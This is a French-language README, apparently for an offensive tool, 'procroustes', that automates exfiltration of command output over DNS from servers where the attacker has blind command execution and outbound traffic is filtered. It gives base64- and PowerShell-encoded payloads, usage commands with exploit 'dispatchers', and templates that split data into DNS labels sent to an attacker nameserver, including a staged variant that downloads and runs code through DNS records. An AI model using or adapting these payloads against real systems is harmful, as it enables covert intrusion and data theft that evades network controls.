
Un script bash qui automatise l'exfiltration de données via DNS dans le cas où nous avons une exécution de commande aveugle sur un serveur avec filtrage de sortie.
Un script bash qui automatise l'exfiltration de données sur DNS en cas d'exécution de commande aveugle sur un serveur où toutes les connexions sortantes, sauf DNS, sont bloquées. Le script prend actuellement en charge sh, bash et powershell et est compatible avec une exécution de style exec (par ex. java.lang.Runtime.exec).
Non scindé :
Scindé :
Pour son fonctionnement, le script prend en entrée la commande que nous souhaitons exécuter sur le serveur cible et la transforme selon le shell cible afin de permettre à sa sortie d'être exfiltrée via DNS. Une fois la commande transformée, elle est transmise au « dispatcher ». Le dispatcher est un programme fourni par l'utilisateur et est chargé de prendre en entrée une commande et de l'exécuter sur le serveur cible par tous les moyens nécessaires (par ex. exploitation d'une vulnérabilité). Après l'exécution de la commande sur le serveur cible, celle-ci est censée déclencher des requêtes DNS vers notre serveur de noms DNS contenant des fragments de nos données. Le script écoute ces requêtes jusqu'à ce que la sortie de la commande fournie par l'utilisateur soit entièrement exfiltrée.
Voici les transformations de commande prises en charge, générées pour l'exfiltration de la commande : ls
sh :
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash :
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell :
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
En résumé, en supposant que nous voulions exfiltrer des données qui doivent être divisées en quatre fragments pour pouvoir être transmises via DNS :
Certaines de leurs différences peuvent également être illustrées par les modèles de commandes utilisés pour bash :
procroustes_chunked/bash :
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash :
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged :
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
| procroustes_chunked | procroustes_full | procroustes_full_staged | |
|---|---|---|---|
| surcharge taille de charge utile (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| nombre d'appels dispatcher | #sortie/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| vitesse (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| difficulté de configuration | facile | facile+ | moyen |
[1] Pour la version avec stager, la commande est téléchargée via DNS, donc la taille listée est également la taille totale de la charge utile.
[2] Sur procroustes_chunked, le dispatcher est appelé plusieurs fois, ainsi que la commande fournie qui est censée être exécutée sur le serveur (jusqu'à ce que toute sa sortie soit exfiltrée). Ce comportement n'est pas idéal si la livraison des commandes au serveur (c'est-à-dire en appelant le dispatcher) est coûteuse en temps/ressources.
Cela peut également poser problème si la commande que nous exécutons sur le serveur n'est pas idempotente (fonctionnalité ou sortie, par ex. « ls;rm file ») ou est coûteuse en temps/ressources (par ex. find / -name secret). Une solution de contournement dans ce cas est de d'abord stocker la sortie de la commande dans un fichier (par ex. /tmp/file), puis d'utiliser le script pour lire ce fichier.
[3] Dans la version avec stager, nous avons le surcoût du temps nécessaire pour obtenir la charge utile réelle via DNS. Il est à noter que le script utilise les enregistrements A pour obtenir la charge utile réelle. Bien que cela permette à notre trafic de mieux se fondre dans le trafic régulier de l'environnement cible, cela offre une capacité de canal limitée (par ex. 4 octets par requête). Nous pourrions utiliser d'autres types d'enregistrements comme TXT et minimiser le temps de téléchargement du stager (proche de zéro) ainsi que la taille du stager.